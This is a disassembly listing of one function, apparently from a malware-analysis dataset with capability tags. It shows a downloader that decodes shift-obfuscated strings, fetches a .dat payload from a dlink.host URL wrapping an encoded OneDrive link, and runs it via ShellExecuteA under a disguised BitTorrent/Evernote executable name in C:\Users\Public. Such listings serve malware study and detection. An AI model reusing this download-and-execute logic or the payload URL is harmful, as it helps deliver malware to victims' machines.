Function at 0x402f20
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x55fec6
mov eax, dword fs:[0]
push eax
sub esp, 0xb0
mov eax, dword [0x5b4300]
xor eax, esp
mov dword [esp + 0xa8], eax
push ebx
push esi
push edi
mov eax, dword [0x5b4300]
xor eax, esp
push eax
lea eax, [esp + 0xc0]
mov dword fs:[0], eax
lea eax, [esp + 0x1c]
mov esi, ecx
push eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], 8
mov dword [esp + 0x24], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.004499ae
xor ebx, ebx
mov eax, str.D___Vtfst__Qvcmjd__fo_ebu
mov dword [esp + 0xa4], 0x38314235
mov dword [esp + 0xa8], 0x44413343
mov dword [esp + 0xac], 0x52464338
mov dword [esp + 0xb0], 0x39334434
mov byte [esp + 0xb4], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402fc5
sub eax, esi
xor ecx, ecx
cmp eax, ebx
jbe 0x402ff3
jmp 0x402fe0
mov dl, byte [ecx + str.D___Vtfst__Qvcmjd__fo_ebu]
dec dl
mov byte [ecx + str.D___Vtfst__Qvcmjd__fo_ebu], dl
inc ecx
cmp ecx, eax
jb 0x402fe0
mov eax, str.D___Vtfst__Qvcmjd__ef_ebu
lea edx, [eax + 1]
jmp 0x403000
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403000
sub eax, edx
mov edx, eax
xor eax, eax
cmp edx, ebx
jbe 0x403024
mov cl, byte [eax + str.D___Vtfst__Qvcmjd__ef_ebu]
dec cl
mov byte [eax + str.D___Vtfst__Qvcmjd__ef_ebu], cl
inc eax
cmp eax, edx
jb 0x403011
mov eax, str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403030
sub eax, edx
mov edx, eax
xor eax, eax
cmp edx, ebx
jbe 0x403054
mov cl, byte [eax + str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf]
dec cl
mov byte [eax + str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf], cl
inc eax
cmp eax, edx
jb 0x403041
mov eax, 0xf
mov dword [esp + 0x5c], vtable.CDownloader.0
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov byte [esp + 0x68], bl
mov dword [esp + 0x80], eax
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
mov dword [esp + 0x9c], eax
mov dword [esp + 0x98], ebx
mov byte [esp + 0x88], bl
mov dword [esp + 0xc8], 1
mov dword [esp + 0x54], eax
mov eax, str.D___Vtfst__Qvcmjd__fo_ebu
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4030b0
sub eax, edx
mov edi, eax
mov eax, str.D___Vtfst__Qvcmjd__fo_ebu
lea esi, [esp + 0x40]
call fcn.00402030
mov byte [esp + 0xc8], 2
mov edi, 0x68
mov eax, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnbTNNa1Y2aDc3eUJtcDh4P2U9ekFsR0tq.dat
lea esi, [esp + 0x24]
mov dword [esp + 0x38], 0xf
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.00402030
lea ecx, [esp + 0x40]
push ecx
mov edx, esi
push edx
lea ecx, [esp + 0x64]
mov byte [esp + 0xd0], 3
call fcn.00401e00
mov esi, 0x10
mov byte [esp + 0xc8], 2
cmp dword [esp + 0x38], esi
jb 0x40312d
mov eax, dword [esp + 0x24]
push eax
call fcn.00407df1
add esp, 4
mov byte [esp + 0xc8], 1
mov dword [esp + 0x38], 0xf
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
cmp dword [esp + 0x54], esi
jb 0x403158
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00407df1
add esp, 4
mov edx, dword [esp + 0x60]
push edx
call fcn.0051a6a0
mov esi, eax
mov eax, dword [esp + 0x68]
add esp, 4
cmp eax, ebx
je 0x40317c
push eax
call fcn.005004fe
add esp, 4
mov dword [esp + 0x64], ebx
cmp esi, ebx
jne 0x40319b
mov ecx, dword [esp + 0x60]
lea eax, [esp + 0x14]
push eax
push 0x200002
push ecx
mov dword [esp + 0x20], ebx
call fcn.0051a6e0
add esp, 0xc
lea edx, [esp + 0xa4]
push edx
call fcn.00402c50
mov eax, str.D___Vtfst__Qvcmjd
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4031b3
sub eax, edx
mov edx, eax
xor eax, eax
cmp edx, ebx
jbe 0x4031e3
jmp 0x4031d0
mov cl, byte [eax + str.D___Vtfst__Qvcmjd]
dec cl
mov byte [eax + str.D___Vtfst__Qvcmjd], cl
inc eax
cmp eax, edx
jb 0x4031d0
call fcn.00402d10
mov eax, str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf
mov esi, eax
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4031f0
mov edi, str.D___Vtfst__Qvcmjd
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403200
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 5
push ebx
push 0x5944ef
push str.D___Vtfst__Qvcmjd
mov ecx, eax
push str.open
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x18]
push 4
call fcn.00448b6d
lea ecx, [esp + 0x5c]
mov dword [esp + 0xc8], 0xffffffff
call fcn.00401b30
mov eax, 1
mov ecx, dword [esp + 0xc0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xa8]
xor ecx, esp
call fcn.004ffc05
mov esp, ebp
pop ebp
ret